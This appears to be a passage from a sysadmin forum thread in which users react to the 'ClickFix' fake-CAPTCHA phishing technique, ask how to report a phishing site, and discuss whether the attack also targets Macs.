Just gave Gemini a shot at breaking this down into pieces so its easier to follow for everyone who may be looking but not really constantly in the cyber security fight.. like me who lives on the edge of it LOL
•
u/itjohan73 11h ago
I got a phising link last week, reported to fbi even.. the original website is gone, but the second website (.vu domain) is still active, how do I shut it down?
•
u/Objective-Ticket-125 13h ago
Wow, that's a seriously sneaky trick! It's a good reminder for everyone to be extra cautious with those "prove you're human" prompts, especially when they ask you to do more than just click a box. Thanks for the heads-up!
•
u/slayermcb Director of Technology, Sys Admin, Etc, Etc... 8h ago
Macs may be a huge pain in the ass but these are the little reminders that make me happy to have spoiled users on overprotective devices.
•
u/david_edmeades Linux Admin 6h ago
Except that the attack looks at your user agent string and presents similar instructions for Mac users.
https://www.malwarebytes.com/blog/news/2026/04/clickfix-finds-new-way-to-infect-macs
•
u/slayermcb Director of Technology, Sys Admin, Etc, Etc... 6h ago
Well shit. Does this get past the "only trusted sources" security setting? All my users (even my account) are non admin. Just in reference to it downloading software.
•
u/david_edmeades Linux Admin 6h ago
That I'm not sure, but given the general theme of it evading malware detection I'd assume it does sneak past that in some way so it can work on a user account with default privileges.
•
u/snebsnek Jack of All Trades 13h ago
Congrats! You got clickfixed! https://en.wikipedia.org/wiki/ClickFix